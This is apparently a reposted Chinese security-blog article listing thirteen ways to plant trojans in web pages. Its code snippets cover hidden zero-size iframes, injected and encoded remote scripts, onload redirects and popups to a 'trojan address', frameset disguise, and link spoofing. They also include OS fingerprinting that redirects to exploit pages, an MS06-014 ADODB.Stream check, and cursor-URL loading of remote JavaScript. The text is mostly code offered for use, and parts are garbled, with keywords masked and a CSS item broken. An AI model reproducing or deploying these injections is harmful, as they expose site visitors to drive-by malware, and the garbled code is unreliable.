网页挂马的方法

  • A+
所属分类:安全文章

网页挂马的方法


一:框架挂马

  1. <iframe src=地址 width=0 height=0></iframe>


二:js文件挂马
首先将以下代码

  1. document.write("<iframe width='0' height='0' src='地址'></iframe>");


保存为xxx.js,
则JS挂马代码为

  1. <** language=java** src=xxx.js></**>


三:js变形加密

  1. <** language="J**.Encode" src=http://www.shiyanbar.com.cn/ma.txt></**>


ma.txt可改成任意后缀


四:body挂马

  1. <body onload="window.location='地址';"></body>


五:隐蔽挂马

  1. top.document.body.innerHTML = top.document.body.innerHTML + 'rn<iframe src="http://www.shiyanbar.com.cn/ma.htm/"></iframe>';


六:css中挂马

  1. body {

  2. background-image: none')}


七:JAJA挂马

  1. <** language=java**>

  2. window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

  3. </**>


八:图片伪装

  1. <html>

  2. <iframe src="网马地址" height=0 width=0></iframe>

  3. <img src="图片地址"></center>

  4. </html>


九:伪装调用

  1. <frameset rows="444,0" cols="*">

  2. <frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">

  3. <frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">

  4. </frameset>


十:高级欺骗

  1. <a href="http://www.shiyanbar.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_shiyanbar_com(); return true;"> 页面要显示的内容 </a>

  2. <** Language="Java**">

  3. function www_shiyanbar_com ()

  4. {

  5. var url="网马地址";

  6. open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");

  7. }

  8. </**>


十一:判断系统代码

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

  2. <HTML><HEAD><TITLE>404</TITLE>

  3. <META http-equiv=Content-Type content="text/html; charset=windows-1252">

  4. <META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>

  5. <BODY>

  6. <** language=java**>

  7. window.status="";

  8. if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)

  9. window.location.href="tk.htm";

  10. else

  11. window.location.href="upx06014.htm";

  12. </**>

  13. </BODY></HTML>


十二:判断是否有ms06014代码

  1. <** language=VB**>

  2. on error resume next

  3. set server = document.createElement("object")

  4. server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"

  5. set File = server.createobject(Adodb.Stream,"")

  6. if Not Err.Number = 0 then

  7. err.clear

  8. document.write ("<iframe src=http://shiyanbar.com.cn width=100% height=100% scrolling=no frameborder=0>")

  9. else

  10. document.write ("<iframe src=http://shiyanbar.com.cn width=100% height=100% scrolling=no frameborder=0>")

  11. end if

  12. </**>


十三:智能读取js的代码demo

  1. //读娶src的对象

  2. var v = document.getElementById("advjs");

  3. //读娶src的参数

  4. var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));

  5. document.write("<iframe src="http://www.shiyanbar.com.cn/1/"+u_num+".htm" width="0" height="0" frameborder="0"></iframe>");

  6. document.writeln("<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">");

  7. document.writeln("<HTML><HEAD>");

  8. document.writeln("<META http-equiv=Content-Type content="text/html; charset=big5">");

  9. document.writeln("<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>");

  10. document.writeln("<BODY> ");

  11. document.writeln("<DIV style="CURSOR: url('http://www.shiyanbar.com.cn/demo.js')">");

  12. document.writeln("<DIV ");

  13. document.writeln("style="CURSOR: url('http://www.shiyanbar.com.cn/demo.js')"></DIV></DIV></BODY></HTML>")

  14. //分析src的参数函数

  15. function getUrlParameterAdv(asName,lsURL){

  16. loU = lsURL.split("?");

  17. if (loU.length>1){

  18. var loallPm = loU[1].split("&");

  19. for (var i=0; i<loallPm.length; i++){

  20. var loPm = loallPm[i].split("=");

  21. if (loPm[0]==asName){

  22. if (loPm.length>1){

  23. return loPm[1];

  24. }else{

  25. return "";

  26. }

  27. }

  28. }

  29. }

  30. return null;

  31. }


本文始发于微信公众号(飓风网络安全):网页挂马的方法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: